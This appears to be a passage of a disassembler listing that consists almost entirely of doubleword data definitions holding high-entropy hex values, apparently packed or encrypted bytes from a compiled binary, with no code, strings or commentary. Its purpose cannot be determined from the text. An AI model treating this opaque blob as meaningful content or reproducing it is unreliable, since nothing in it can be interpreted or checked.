69B7D800h dd 1C081591h, 2BF501E4h, 0DCDBC16Ah, 3865C4D7h, 8CE8AE01h dd 3A27229Fh, 0C1A61882h, 40407044h, 0DA14D4CBh, 7898A528h dd 2B228100h, 0C7FF0C79h, 993EDCCh, 0E12C4751h, 0A3F6A024h dd 11008E15h, 9F679616h, 92E50550h, 3C65E268h, 78637228h dd 0A8817757h, 0A7AAE006h, 14020F28h, 0A399B003h, 0C8F564ADh dd 0CADD4DE4h, 80E0E908h, 56A39283h, 52182AD2h, 0FC0D9C9h dd 0CF5C7A6Ah, 614732C8h, 0E115020h, 570CA7ABh, 90555397h dd 0AB41FD4Fh, 67E8D40Bh, 3E300010h, 0A4FE4D1Dh, 7F982A4Ah dd 7E59D800h, 89F2E8Ah, 0A1520191h, 55A5C0EEh, 7760D4C4h dd 6388DB00h, 8EEB0A07h, 38AFA9Eh, 2B794036h, 37F00E80h dd 46008357h, 0B297A64Ah, 1D69D7E0h, 805121F1h, 0BA78082Ch dd 0EE7606DCh, 0B6408600h, 481AF23Ch, 2F5400F7h, 6A495562h dd 96008423h, 445A8F30h, 3F69ED38h, 1E00C2BEh, 0C1C1362h dd 17EA6FB2h, 0CC6A9600h, 0E1AC3D73h, 16A50093h, 0E970E2E4h dd 0EE263A11h, 0AB00CE6Ch, 4DC3471Ah, 702CFA38h, 0C41203A0h dd 0E755FDC1h, 5E5ABEF0h, 9F84860Eh, 3461875Ch, 8CB4F5D0h dd 0DD857873h, 30DA1D48h, 0B1E3A121h, 0AA071CE4h, 6CE57B76h dd 0BFA8000h, 0D1B018A0h, 9CE260F9h, 61587004h, 0AD800226h dd 5C2BAEB9h, 5007E55h, 0DAB7FEEAh, 0A406EBF6h, 0EC3E7D4Dh dd 493A00B9h, 0D0C2BD76h, 0A378C30Bh, 8F41E23Eh, 4191E3C1h dd 0C25BA6FFh, 77C9688Ch, 0AD0C0319h, 2E55F27h, 69B61E31h dd 788500B7h, 65155DC3h, 0E0FFA100h, 0E5E2808Ah, 0FB0D07CEh dd 20E6C43Bh, 5EA5CD23h, 1C564900h, 40DD32D7h, 4E800001h dd 0C5E5B008h, 2F063157h, 47F5A2CDh, 0DED62229h, 420E1422h dd 72A608F3h, 282A1455h, 21122811h, 6E0D0DDFh, 10DBD129h dd 81B7C63Ch, 5A62101Bh, 8D960037h, 9F854791h, 84003940h dd 7048AAB3h, 3A079Ch, 6F12B1F5h, 0EB91B25Eh, 0A594A60Fh dd 0ADAEA077h, 0F990735h, 8C59139Fh, 0C0A00584h, 3A42D3D4h dd 741C723Ch, 781E6900h, 23E596AEh, 25710073h, 88C009DCh dd 0A400CC54h, 0D5A6CF3Bh, 17D10CF8h, 673179h, 16362046h dd 0A4000AA1h, 52CC3E40h, 331DB26h, 5DE81134h, 32F0F235h dd 0F30074BDh, 55F15A10h, 33F8E0Ch, 17A83B11h, 9DA8866Eh dd 0BD031CB5h, 5A33892Ch, 9772D899h, 378C03F8h, 70EC53BBh dd 0BE9D1000h, 51FADD46h, 0DEE8CEh, 4F09B3E7h, 529734ECh dd 7DC7D3Dh, 78412B46h, 6D28ACC0h, 315B008Ch, 1D301224h dd 3A00D488h, 0EE9C6CDh, 0D6AF2Bh, 31CC79A6h, 6439076Fh dd 54A5CF00h, 0E652186Ch, 0D1EE0023h, 4CCD4620h, 5E00C616h dd 76600FABh, 92DD68h, 2BD8C1A7h, 9606FD3Bh, 3C1C1D24h dd 0A469B80Ah, 0EC02AD40h, 3B97227h, 3988A3F0h, 0C880F516h dd 4D009E7Fh, 4785CCE5h, 0EB84Ch, 0BF6F97E7h, 417CE2F7h dd 0E8A63B00h, 84712A82h, 7E5C00FAh, 515AB5E0h, 9A0B0CB2h dd 808DB939h, 7AAB1A84h, 86F43Bh, 6721911Bh, 0E44ACE24h dd 4E16C300h, 0F098E027h, 0BEEA0002h, 5B7510ACh, 0BCE0786Fh dd 5009B530h, 444154h, 0CF9D079Fh, 0E32D9731h, 76FBD601h dd 6B29B915h, 70E0C880h, 1448772h, 20CB7F00h, 1F653CD5h dd 62A90B30h, 6C003FB0h, 24CCAF74h, 647F9D02h, 802091ACh dd 0B06FAD94h, 619A0321h, 7CBECA47h, 0FEE993B0h, 103C3700h dd 0EFF51204h, 750239C3h, 0DD09AB80h, 20D3530Ah, 0DF25A900h dd 364D4DAh, 77C54h, 92760D5Eh, 438C7ECAh, 6D68D600h, 21AF2593h dd 18E70085h, 0A061D3B5h, 4EE0E984h, 0E1383700h, 0E0DC7C72h dd 0B51D0014h, 70C19FCDh, 0D200546Bh, 76C57DAh, 0A048DFh dd 0D097F8E1h, 1F6EA775h, 6001807Fh, 39649ED5h, 4242FF0h dd 8FB300FCh, 0F89BF327h, 0A30025FEh, 0CBD5B14Bh, 24AE7555h dd 0F88F65h, 0B6FEE13Dh, 8E74FCEEh, 9CBE0C00h, 457FC9E6h dd 0F83F2898h, 75E800E8h, 672FF4FAh, 0B501EF12h, 7B7990CBh dd 34E815C3h, 2682095Fh, 8B0021F8h, 772CFEC0h, 0D3FD3F01h dd 7015B5C2h, 4461D8h, 9BA1FC21h, 1BAA3164h, 0FFFB2C03h dd 0F07D01BCh, 3F20B8F1h, 2DBBECC0h, 0C751B500h, 0BD34F943h dd 0CB0BB100h dd 0DF95FABBh, 7AF284h, 29BAA8B2h, 0C6E42E47h, 59D68B00h dd 0C258FA78h, 6DBE1FA2h, 682342A9h, 0D0603021h, 0A5099208h dd 1BB73Ch, 0A144FC7Fh, 8C170EF2h, 6C6F67C5h, 0AD8AF129h dd 401C1F58h, 7A94F4ABh, 8074021h, 82DC38A1h, 0B0DD8C93h dd 0F3020923h, 4E69E70h, 3F24DA11h, 4D5880A1h, 5E6A2FE9h dd 53005C4Ah, 58E449C1h, 29C2012Ah, 5577E668h, 54E2D095h dd 853DF900h, 181F22FBh, 0E5CB0006h, 0DEC70A89h, 0A80EEC2Eh dd 0C0D11E6Fh, 3262C37Dh, 41200797h, 50D4E28Ch, 0CB9F6BB3h dd 488D0201h, 573BD114h, 177130h, 3221106Fh, 53A131B6h dd 0E889900h, 0D95E9356h, 0BD8A0085h, 0F2D3B872h, 61987429h dd 83DDC700h, 0B5369833h, 4B200F1h, 51B331CEh, 10E40B81h dd 95884200h, 466C564Ch, 0D3F4007Fh, 0FD55281Dh, 0B600C176h dd 30B1A204h, 0BF49F8h, 125B6F7Ah, 73483D81h, 410027FCh dd 0B724427Dh, 2D1BFCh, 4C43C6B4h, 0EDD78E37h, 0A0002FAh dd 0BC2160FBh, 0B6A680h, 0FC011E71h, 0F178B75Fh, 8E99F200h dd 0EE861691h, 4B460C7Dh, 0D3B06B14h, 6148AEEEh, 0B2C50BF4h dd 1EB90717h, 30D53A01h, 3D064FD8h, 0A5001624h, 389A66F9h dd 0F50075D7h, 0E20A9944h, 1AB1BB2h, 0F26C492Dh, 80720CE5h dd 0FAAA570Ch, 788E053h, 51EEB4C6h, 2D1A9034h, 1C7FC52Ch dd 0DA33B00h, 38E947Ah, 16CA3A35h, 797E2580h, 0E7085936h dd 0D00C0716h, 0BDD5A700h, 0C16EFDB2h, 80F8A890h, 498ECCC0h dd 0B069CF39h, 9BC71081h, 0A25800B6h, 0DD97A4Eh, 7539CF70h dd 0EA7C7E79h, 63DC0706h, 0BB0F52Ch, 11080B5h, 88235003h dd 7860E98Ah, 810F67F4h, 0D39A1405h, 45202400h, 1E5133B7h dd 7EA3F797h, 0FCC06C49h, 0AE164578h, 9A3C9C0Eh, 332DE2B4h dd 0FB16C0B2h, 8E9800F8h, 407D9272h, 0CF1603C3h, 2E00C601h dd 0C16288B1h, 0D7290331h, 894A531Bh, 0DC803EABh, 0F6076AA6h dd 395BEFF1h, 997B1F60h, 0C07B58h, 0FDC11B53h, 0E598D341h dd 0FFE8C300h, 0AF22E4Dh, 84990F8Dh, 67A0DF1Dh, 596013C5h dd 1F713D3Eh, 8180A545h, 4822965Ch, 1E010087h, 0EFB67F69h dd 0A07CE5Ah, 15F48BF2h, 3030A3E7h, 1B7E9h, 7E9F05A7h dd 201D29C7h, 0E7D15A17h, 0CDAF800h, 0D2CD4Dh, 0E0ABD7F3h dd 24E880DFh, 0A6708900h, 0EF947EE9h, 71C33A0Fh, 80732F00h dd 19DD456Bh, 757BFD00h, 860F8314h, 5A690702h, 503CEEEBh dd 0B0A6355Ch, 4F03DC9Ah, 5148A89Ah, 31C0B073h, 29B300E6h dd 0EEF6D7B6h, 1D0228C1h, 21D0F087h, 0C5DAE07Eh, 0CF7B0048h dd 0ED6923A2h, 40037F27h, 90F067E6h, 4EDBD0AAh, 0CDFE8Ch dd 0BF147E49h, 0F933683Eh, 6CDD2100h, 0BD7490B3h, 4D2F0BCEh dd 0C70EA8B7h, 0DECC27E0h, 10DEA1C0h, 7521C540h, 919677Ah dd 0A9230BC9h, 9FDF8880h, 0ED00C625h, 62E9B265h, 1D4126h dd 3847A109h, 5618AEB3h, 93998A00h, 0C9136A5Ah, 800F0E81h dd 0FBA5640Ch, 0B373C0DEh, 4001B88h, 0ACEBC252h, 4EFD799h dd 6972E7B0h, 0ECC70Bh, 3C8B6375h, 0F33DAE09h, 0E0090F9Dh dd 6FA45BC8h, 58F04802h, 9C2F8F02h, 6440A2D2h, 0F2EA4706h dd 6367FC04h, 70903846h, 143175h, 9798C776h, 5D65267Dh dd 0E4A47300h, 474AE96Eh, 20ECAEh, 0C06F0733h, 0C777F80h dd 89C86109h, 0AD4D818Bh, 0E130F765h, 1890E4h, 54553652h dd 61A48506h, 67307800h, 0DD825D22h, 377D3C60h, 0BC804939h dd 8969A99Ah, 1492F539h, 0ED55851Eh, 1EA62B80h, 79AC5EAAh dd 2189021h, 4C516DE4h, 5C46BF3Fh, 0A82F6100h, 80D8E6C3h dd 29860060h, 5937CE4Ah, 0DB1F3FC9h, 35800D34h, 8F83AC33h dd 9577306Ah, 0A53EA8DEh, 0CAD0CC00h, 0C517418Ch, 5789971h dd 803EBBFDh, 4409E51Dh, 0D386D703h, 0C0AC20CAh, 38348ABh dd 7CDFB287h, 0E4A8020Eh, 0BAEA32C3h, 0BB768A00h, 121F7A3Ch dd 481BECCFh, 0D40FDF2Bh, 2ACF1929h, 4DE27C40h, 0AD025390h dd 6B0C31EAh, 82CA8FA3h, 41D2CC38h, 70FC6619h, 2434027Bh dd 74BA6BCAh, 0A214CFC0h, 2D515000h, 0F9225E25h, 0A04E007Bh dd 0B19299B7h, 0E300D3D8h, 127E59BEh, 2F3401h, 0ADEC33CCh dd 0BAAEBDACh, 0C3BF3Ah, 0C58AE5CDh, 0EA5F240h, 7E962136h dd 0D9FCE0C1h, 17D2CCB6h, 0F55239h, 7277D394h, 1559A7h dd 0EC9A57D7h, 0CFABDAAFh, 3491380Bh, 0D67B00A5h, 39570E7Eh dd 9080CBC3h, 0B44A67F1h, 871CABEAh, 0D3C0E884h, 28EE94A8h dd 1A7D31h, 0CA3F0AD7h, 0D5425857h, 0EC7A7300h, 78302287h dd 0F2BE0DEAh, 3EB8ABBDh, 612B4F0h, 0E5DCF8EDh, 7600199Bh dd 3FB2FC5Bh, 3C6B355h, 3820CD73h, 2000A9D2h, 83917919h dd 30A49D57h, 0AC703CBDh, 2C01A3AFh, 0EDEE3D6Bh, 0D9DCCE95h dd 0E361001Eh, 49E04F7Fh, 6300DFC1h, 93321A3h, 81223Bh dd 7DF1808Eh, 68F4B35Fh, 5B82FD00h, 641D0103h, 0B58B38D1h dd 0E87E070Eh, 0AB7999E0h, 0E0003E46h, 2B18067h, 785C84h dd 6207BD6h, 970AC7E4h, 9522D02h, 0DFEA47EDh, 1467FA00h dd 9600594Dh, 942F8DDFh, 7E340Fh, 0F19F8F07h, 0AE0BF629h dd 9A3BED7Dh, 9901FC20h, 7E3AADFh, 8040B91Ah, 7F4441h dd 453649A7h, 18B523B0h, 27DEA80Eh, 0B8F50Eh, 4FEF30D9h dd 28E6154Ah, 0F43D07h, 381B2326h, 0CE50A8E8h, 0E382CA0Fh dd 3359E46Ch, 5AAFDB80h, 0AEBE00B3h, 0B14DECE7h, 0B4014BEEh dd 0BFBD4327h, 15E8998Bh, 3F780B44h, 0A380A625h, 0D5DFF668h dd 0C6A3C207h, 0EA80C972h, 0E25DC79Bh, 65E10038h, 5568D191h dd 1200FE7Eh, 39F8AC1Bh, 0E1FF93Ah, 26B03FA1h, 0C0E94326h dd 0C81EF106h, 0F280270h, 0A19A1BD8h, 3B204480h, 5504A6DDh dd 94F4D95Eh, 4E191C92h, 0F4037E40h, 30F8CE55h, 91CE1A20h dd 0DE00AFD4h, 0F457230Dh, 4E8D79h, 0A9295E1Dh, 0E46B2EF8h dd 0BE03867Bh, 262BFC62h, 38661FC1h, 0A199003Bh, 0BEEEAA7Ch dd 0D3606D00h, 23193794h, 712008Eh, 358B1044h, 3AB0262Fh dd 55A130A0h, 5AA64003h, 252BE02h, 659FA090h, 0D4408373h dd 7B00C92Ch, 5031CA4Fh, 72C1105Ch, 0B81400F6h, 32B65BCDh dd 0D000775Fh, 31E8812Fh, 144039BAh, 88292376h, 30D44E28h dd 11F13A7Eh, 0E1001F52h, 13FC26FFh, 0A8B1FEB2h, 192C94h dd 0C4D3A6Eh, 0F5F0B986h, 62E57600h, 0BDEF0E7Ah, 81AB0012h dd 98D103CEh, 69482F9Bh, 7F0009Bh, 1A23903Eh, 3B583EA8h dd 3A02658Ch, 7701EEE8h, 0F9EF3E63h, 0E9ECB28Dh, 551700FFh dd 2B7AB999h, 35072407h, 0A3C6BCF8h, 6C63ADD0h, 8D42002Dh dd 92F67CF2h, 3B13E3FEh, 30006EBAh, 25C47331h, 7C6C0084h dd 12CB6353h, 0F200BFBBh, 0C83CAC26h, 6DCE35h, 8A8EEF5Eh dd 0BFA2D67Ch, 0DA0A30Ch, 4776034h, 59A5A117h, 430C02B3h dd 511E0780h, 0C4FA82C5h, 240056C8h, 9F2C2144h, 9F88E4D8h dd 2D1C69E0h, 1E461301h, 0C098493h, 0F653F9DCh, 0DD4D0E81h dd 8806205h, 26C3B0CEh, 6E76F403h, 802BE53Eh, 135C070h dd 0D4A7A5F7h, 0C8810A1Dh, 1600FEDEh, 0CFFBF02Ah, 7268EBC8h dd 63EA00ECh, 0AA2EDA37h, 0AD004C1Fh, 0FF12147Dh, 39DC6199h dd 0DE4CC719h, 0DE0CDB07h, 0B160105Eh, 4000CEB4h, 0F8A48891h dd 705AC07h, 0C38C3741h, 38AE4E50h, 0D0BDA024h, 9D11410h dd 6B844700h, 274F7CF0h, 0F57713h, 678A1B5Eh, 0E9FA9DB0h dd 7A557300h, 0FE2F0EE1h dword_51AC48 dd 2F41Dh, 830ACD65h, 16801814h, 1C76EDF2h, 43F31200h dd 82482261h, 9C6F0233h, 0F6640330h, 0E4BA8469h, 0D0024E2h dd 48AC1A66h, 12579B8Ah, 0AECC69h, 0B8BDBC50h, 0D113AF4Dh dd 0F043A15Ch, 90E43586h, 0E8994AAh, 537B6D4Eh, 0E89F1E60h dd 0A307827Ch, 59CB66B2h, 0BBB60079h, 1F6D6964h, 8070D1F3h dd 1F95D7Eh, 0CB09C6C1h, 2062B0F2h, 14F8AB58h, 1DB09A19h dd 87605044h, 0C04DFCC4h, 10434FD4h, 0DD33DE1Ch, 9DAEB100h dd 1D320F95h, 8FF62539h, 818009B6h, 2BF25833h, 88E7C70Ch dd 7790EFh, 0C9A2A782h, 8D116B5Bh, 0BC006076h, 0E3CCA19h dd 4E8EFDh, 0CCF4D353h, 813A66ECh, 0B5A46D00h, 7336F6FCh dd 395BFA12h, 6B0930B7h, 4802109h, 0E41A461Bh, 7EEF9B07h dd 0DAF02B20h, 40CA5645h, 5764152h, 71190F00h, 91A44E4Dh dd 423603F3h, 0F7C3F834h, 114FCFA0h, 88502C00h, 0FD2D546Fh dd 0A713019Fh, 36485A6Ch, 878880CAh, 8A79370Bh, 0B7310877h dd 0A79D22BDh, 0B94A0078h, 0A0967E19h, 251F073Dh, 0E0459968h dd 0E6D6C95Ah, 21EC4EF0h, 48E85900h, 995D720h, 0F999500Eh dd 86C00F1Bh, 0B2654DBFh, 5CBC01C3h, 0DB0BB012h, 19F6DBB8h dd 0BAC1A300h, 0F0DADC59h, 0A54D00CEh, 8B27170Eh, 0C31CB174h dd 0DE40F58Eh, 4AD7F41h, 10CF4C5Ch, 3F5F3C00h, 6B2D1B35h dd 3F0A200h, 39B5A160h, 0F9CF0085h, 0A7429ADBh, 3F007716h dd 1E516293h, 520921h, 4B30CB11h, 0B7A7CAE6h, 4C2C143Dh dd 0D02300ACh, 810CC3BEh, 891900F5h, 8884A9F4h, 0E20002E3h dd 0E48EF069h, 241522Ah, 5B8A3B70h, 40FFD475h, 3940221h dd 89CB7139h, 40BFA26Eh, 5F9EA817h, 62F1F907h, 0EAC48305h dd 7DD8DC80h, 63E900BBh, 0F1965ACCh, 0B8481573h, 954C78F4h dd 0ED1600A4h, 6C40B9BDh, 10C8008Dh, 59BFB7C9h, 1478A638h dd 4448ADECh, 0E0DF004Ch, 8FF311A9h, 0AFA400A1h, 4129E394h dd 8E2C3475h, 8D51A45Fh, 4502E0h, 613307D1h, 0B7770E8Bh dd 28CA7D00h, 659A339h, 0BAC90701h, 50AF0A57h, 0B694AB1Bh dd 3A485812h, 49A4F445h, 0FC68E380h, 5C5EF6C7h, 0B30050E3h dd 5BB7D082h, 57E069FEh, 6AA8640Fh, 0C3ED8E2Dh, 0A938FFh dd 0FA834B10h, 54A1B81Fh, 2C00B5E8h, 978C66Ch, 2A247A12h dd 7B9CAEEAh, 1770EE8Bh, 0A216D3h, 4C346624h, 0DC4C9185h dd 0BD80FDCh, 63ECE352h, 696CD86Ah, 5CCF02FCh, 6E417EF7h dd 0A66FD6E0h, 44B058h, 0E8B35316h, 0FB67FF8h, 0DA286261h dd 1F253840h, 0C200F22Ch, 5E677290h, 762A17h, 9AAD1A3Dh dd 0E8AE974Ch, 360BAC00h, 0F18A9174h, 0FA5C3ACBh, 0C3450103h dd 0B800EB89h, 0C1ADB5C0h, 2F3C4B6h, 0CFABD9AFh, 805FB4B0h dd 6E74DA98h, 0B18B07A6h, 0F0523F38h, 9639E268h, 8E3B9100h dd 0F5B7DCCCh, 0BF6504BCh, 0C002D8C7h, 0ECB997D4h, 0B094A900h dd 345A4828h, 8F620930h, 20A0906Ch, 0C1A155A7h, 1040AE4Bh dd 0B6E118FDh, 136B0476h, 83B0A80Ah, 27E0BDD4h, 5800F9DBh dd 0DA707C3Fh, 176F5F11h, 584C157h, 0C267D274h, 40AAA1h dd 0A3EED8CFh, 1E01E677h, 1056F51h, 0B243E817h, 3259F85Bh dd 1D9724AAh, 0FFD200ECh, 0A8957B6Eh, 719B3B04h, 53823EE3h dd 4B460BDh, 56905Dh, 7918B3EEh, 53C74FD3h, 0B6070BF6h dd 4062CC97h, 71D1F200h, 4A794886h, 0A5A36B03h, 51909EE5h dd 0A800C198h, 0EE310DB4h, 7A7DE739h, 1DC6F271h, 0F4947C5h dd 19808693h, 0F72F7480h, 540077FCh, 1E9A8448h, 828D1Fh dd 0C9FF11D2h, 0FC46E19Ch, 94007871h, 0E9E47977h, 0F57AB4Dh dd 11B43C2Eh, 0C7DBCAC7h, 5664F098h, 55001DBBh, 0F1E030C3h dd 0E8BCF90Fh, 225F1CD1h, 1EF7D277h, 2F71C30Ch, 180CE8D2h dd 28893F61h, 0D0A0097h, 6DD7B72h, 0B0080EEh, 8B656A2Eh dd 0C096D3AEh, 0A38CEA21h, 0B00E5F2h, 7E7AFBCFh, 69CCA082h dd 418060EEh, 9E2015B2h, 0EF8B5B02h, 0C02F40C6h, 5B34E72h dd 0AF1B326Fh, 6B1802FFh, 8C31401h, 4B2AB3C0h, 0BAA89800h dd 0C527D54Ch, 921003BFh, 0E2C8D1DBh, 3BC9D7A0h, 0AB0369E0h dd 54147C6Dh, 275BB8AEh, 0B28F00A5h, 0D104823Ch, 4F0079EEh dd 0B308E541h, 7C3FF56Bh, 0A1270074h, 81BA6263h, 0E0033384h dd 7D0AEBD8h, 5EA80021h, 5BEFDDB3h, 0A0E01413h, 358BD401h dd 3178B626h, 0A9C8AFE8h, 0BE02E678h, 0A09F9A03h, 2FDE89h dd 29E9093Eh, 0FA71223Ch, 0BD384300h, 5F337E67h, 185002Eh dd 0D2517703h, 0FF00AD0Dh, 0F5B4EE1Dh, 7AA55D8Fh, 0EB0E07DAh dd 0F1F23F6h, 2F17D9C0h, 7000B280h, 0C5249397h, 0B520BBh dd 0B4142A1Fh, 0DC8146AFh, 1BCDE000h, 213BD522h, 330400BAh dd 3D05881Ah, 5600C7ECh, 8F20C537h, 65961Ch, 1A8DE428h dd 0BBA27752h, 5191700h, 751E79E2h, 47C200DEh, 89B5EB43h dd 700BFEEh, 0AD9387C9h, 8AF2FBh, 0F331C399h, 7E92D52Dh dd 3ADCC5Ch, 0EE98431Ch, 7513C8D3h, 953F4C4h, 0F36A153Bh dd 52307460h, 46CEE2Bh, 0C454E871h, 90BF043Ch, 172C1F40h dd 24BB0B20h, 4C108h, 36A969F3h, 97745233h, 351CEB50h dd 7AAC08C4h, 86AB0C81h, 1820ACF2h, 0C26700D5h, 0EBC3AA35h dd 0D1CD1221h, 5094091Eh, 0A97418BAh, 69BA094Ch, 192F7866h dd 1C6EA228h, 1089B36Ch, 0AC897C17h, 0E5108B50h, 0B46B6045h dd 80040811h, 68C2092Fh, 44B650A9h, 0ABC9CCAFh, 1CA63F09h dd 8707EB06h, 8408E86Eh, 14AC500Ch, 4C035086h, 0EE80C468h dd 85106632h, 9EB60150h, 3A44C2CDh, 14018EA0h, 0ECE684DAh dd 9803E9C8h, 0E7E238D1h, 0FC4A3A27h, 0F504855Ch, 1669D386h dd 8188B010h, 1EC3E0Ch, 71C10010h, 3DE2823Ah, 4D286283h dd 950120BDh, 0C55D44A0h, 6EF2611h, 8EB5F119h, 344E38DAh dd 4509A005h, 3D0E4890h, 7749C19Bh, 0F82D3F9Ch, 783C89D6h dd 0D080866Ah, 2E602043h, 121B53A6h, 0AC20C0B3h, 37017BB2h dd 0EB65337Fh, 69838FD8h, 4C153F97h, 0E7474807h, 0D76027E4h dd 1D5DE3DFh, 1212Fh, 0F94320CEh, 9B00E254h, 8129316Ch dd 0C11EBBB9h, 0E37974F9h, 9E08B926h, 0F50273F0h, 0AC8D0921h dd 0DDB1488Ch, 0F78DFE51h, 0C07C387Dh, 0B6F09E78h, 0B7831900h dd 6E5545B9h, 13AC042Dh, 0C03E3088h, 4437F290h, 1D0DFD18h dd 3D8D87E9h, 61282504h, 3AA00C8Ch, 5FE8291Eh, 0F462D400h dd 9623476Ch, 6F89C0A5h, 0A7E6BA2Ah, 44A1B90Dh, 93D4189Bh dd 963D12B4h, 5DD04E92h, 47952322h, 7501C0A2h, 6F888881h dd 0E8B42069h, 77AAB401h, 0B7F4F5EAh, 0A795D9D3h, 2F60E116h dd 6A2BB108h, 38856035h, 812C296Bh, 2D75FE00h, 1225A4A5h dd 0B3643026h, 6CE73121h, 7F48B914h, 0E90F0A50h, 0E114B021h dd 993C30ACh, 291524h, 0F9E8D0A8h, 0D1308BEDh, 43261A09h dd 0A82C089Ch, 0E7100753h, 805227F5h, 0A18B6A5Fh, 90C08B4h dd 7388C1A6h, 6B50142Eh, 5A1B80Eh, 88360C6Fh, 8A07ACD8h dd 57BE4787h, 0AA218900h, 0F4E23867h, 81FAB31Ch, 0BFB29F03h dd 0BBB8FC8Ah, 7401DF5Eh, 0F4B65797h, 1FEBA7C4h, 1FFA4422h dd 0B5BA00E6h, 31D3E2BEh, 6A9E93Ch, 0A00E0786h, 5C70C8h dd 551AC8E4h, 6D602F7Dh, 0F6A6B112h, 80735044h, 6C8AE901h dd 0D0C9BADCh, 254D11B8h, 2B3118C4h, 884C4830h, 0E30BF7A2h dd 92251B34h, 1ED80060h, 0E80968B3h, 147F2BA5h, 4D1918Ch dd 3757B48Ah, 0C938509h dd 0C8480AFAh, 8462AB07h, 452E95E8h, 0CA6C0D30h, 0A72C4059h dd 0BC288CEAh, 1F94C6Eh, 0C016E626h, 0CEF12E66h, 0C71B0029h dd 6F973B45h, 0F8F1B8B7h, 290C0568h, 4035E101h, 133088EBh dd 7E6F1E03h, 188F099Fh, 29E401B1h, 6B889C4Dh, 866A281Eh dd 32CE0F3Ch, 2ABE6F8Bh, 3DED0C58h, 0D290A6DCh, 9F056343h dd 0BF67A9h, 1F4009F0h, 35188FDBh, 3B80116Bh, 0BF4E002Bh dd 3F521BB9h, 894BB036h, 0B8005AC5h, 0F540FD53h, 78036730h dd 0A600C83Fh, 4A871820h, 480A8CDh, 3DA20A9Ch, 2868B395h dd 9DB089B7h, 8188B1B4h, 5715195Ch, 184F7E4h, 979BF2BDh dd 0C2031A98h, 0B89D96CFh, 24DC2AFCh, 150C3ED3h, 700F8C55h dd 0B3081274h, 90C30744h, 0A308C947h, 33B8193h, 0D3B71504h dd 0B90C81B6h, 10EE71F2h, 0F1EF066h, 6DE99BF3h, 352A2500h dd 0F7484096h, 81138FC8h, 1BA33442h, 2BF41080h, 0CBBE71F3h dd 2630A11Fh, 0FF4D8CA8h, 98673B50h, 9F942C39h, 0FEEA1B33h dd 78D05141h, 0A6F4DADDh, 26C7CB1Eh, 7F53C140h, 0CD40FFh dd 2157EF07h, 0CF0D748Fh, 0EB899F03h, 0B0EACBC8h, 1E502CA0h dd 0C0C26D20h, 511BE508h, 0BA6177FDh, 2E218AF0h, 16D8020h dd 9BE7EF64h, 2074FA53h, 70008C90h, 8987E4F7h, 0C879F0ACh dd 82425028h, 0F6282E6Ah, 90FF2A88h, 699C847Ch, 0F842E848h dd 0E9A822F1h, 225E9A22h, 0ED22F5C4h, 0EE9422F6h, 4D7ACD00h dd 0C9B41E49h, 742880B7h, 0AAB62D87h, 0E8901BF0h, 424E3Dh dd 9CC3063Fh, 787253CEh, 0FF240069h, 2A986AB8h, 0C501972Fh dd 51886554h, 64302D96h, 0C9A00046h, 66E4ECD9h, 0BCB68F0Ch dd 0D538AB00h, 1E4C945Dh, 0EDCB6764h, 304F2807h, 6F44D0A6h dd 0EE768207h, 7C7B3A7h, 0F31AF750h, 1A8D6086h, 305E4E10h dd 0D3A91907h, 2851BB45h, 54F00450h, 0FEEC009Ah, 0A51518BEh dd 0B3008DABh, 0C08E1ACh, 0F4A6CCE0h, 1E9EEC53h, 404A364Eh dd 0CEA3DB1Bh, 0FE01AC61h, 238BE35Eh, 35F09FF9h, 0D9950045h dd 0FFBE852Ah, 0B86212D6h, 40ED9298h, 50E87Ch, 8647888Ah dd 0EBD4732Fh, 80CB7C3Dh, 0C7360A64h, 0AE9406h, 340FDF51h dd 0C12B7A86h, 0E3B35D00h, 0F77BE114h, 1BA70015h, 764BF8Ch dd 0D01F9EB8h, 6DCE90F4h, 40152063h, 5DEC3B5h, 0CEDD3D1Ah dd 0C9C0F092h, 0B4EBA38h, 816BEB41h, 0CD71E2Bh, 8587E0h dd 0C728F27Eh, 5506646Ch, 0DD2C9200h, 991E50B8h, 0CDDF0052h dd 5C953561h, 52C06FB1h, 393136A1h, 872C124Ah, 0ACA0409Ch dd 6EA24C55h, 170B7401h, 3FA8AEBEh, 150C4h, 686BF6A9h dd 21FC5B44h, 0E620A200h, 895180Fh, 19470094h, 2D6AB630h dd 0C2039B8Bh, 0F3D67D37h, 22FB87E3h, 804A8C44h, 0D93F17F2h dd 0BBC1C06Ch, 625C9A4Dh, 0DAEA0E00h, 0A58E11AEh, 4702008Dh dd 0AA055053h, 4C00C0A3h, 97396643h, 56A6C3h, 0DA94A268h dd 232D551Bh, 8C0012F2h, 0B1B78413h, 3A10AC83h, 6B8016D8h dd 0FF0853C6h, 9000C2F4h, 0C7FB3629h, 0B0B8DD3h, 0D1E2FD52h dd 65C28157h, 86C39389h, 0C0ECE139h, 82FA13CEh, 6FC20733h dd 0E7B3041h, 0C42A3D04h, 8700BC57h, 0F2561E29h, 1EEF330h dd 76623536h, 0D0830F5Ah, 55006DDDh, 0D807FBE3h, 12241DA3h dd 802A6E57h, 0B23BCC6Ch, 0A65AC500h, 0F5CEA729h, 25F307BCh dd 2010C88Ah, 0FA5B4DDAh, 0F2C38B0Fh, 0CF7100AEh, 3F8ABEh dd 7BFE995Dh, 421AB815h, 34434B24h, 0B9FC0480h, 4075862h dd 79E57E87h, 32D8803Bh, 8E06F325h, 0F269F411h, 105501BAh dd 0BDDC9AF5h, 0A8002A71h, 0BB2A954Fh, 7FFE2F50h, 484A0880h dd 185BCA2Eh, 80FCB81Ch, 496E1735h, 543DE3D0h, 88DBFC68h dd 1700CDFAh, 9EA6ABAAh, 0F28B0h, 0D9880D37h, 0C757CBC2h dd 0B4B8A400h, 0D8F11097h, 22CC125Fh, 51140F91h, 2B49C420h dd 9D24725Eh, 0E82841FCh, 1955A71Ch, 0B3868C5Fh, 4E908677h dd 0A655A04Fh, 9C591E00h, 99FE57ECh, 41FF07B9h, 0D08F7BF2h dd 5B395C90h, 653934EAh, 0CF3C8350h, 0A01D11C0h, 38E24A7Fh dd 0EC80E52Eh, 0D81E815Dh, 0BC01F1BBh, 76BD8FE8h, 20EC4767h dd 4E0B0C8h, 0ED6006DEh, 0F320800Fh, 0B00328Ch, 75E47230h dd 0BABDBE1h, 6CF0CB0h, 2D353C00h, 0C2F4C4C9h, 31589F00h dd 0E6D6CA59h, 135E7DB8h, 1D5B8294h, 0DD1B00BCh, 0F27D0D47h dd 0ABD2601h, 9A6695DAh, 0B100C06Ch, 89E62B48h, 44008180h dd 295AF39Eh, 1DB5094h, 0B33995FCh, 484BF066h, 140046C8h dd 6B4459EFh, 75BDF1B7h, 0FE3C0CC3h, 1C599D13h, 53686F00h dd 0FE5B4D7h, 0BF6200E3h, 23B74E57h, 0E11325EAh, 0A409750h 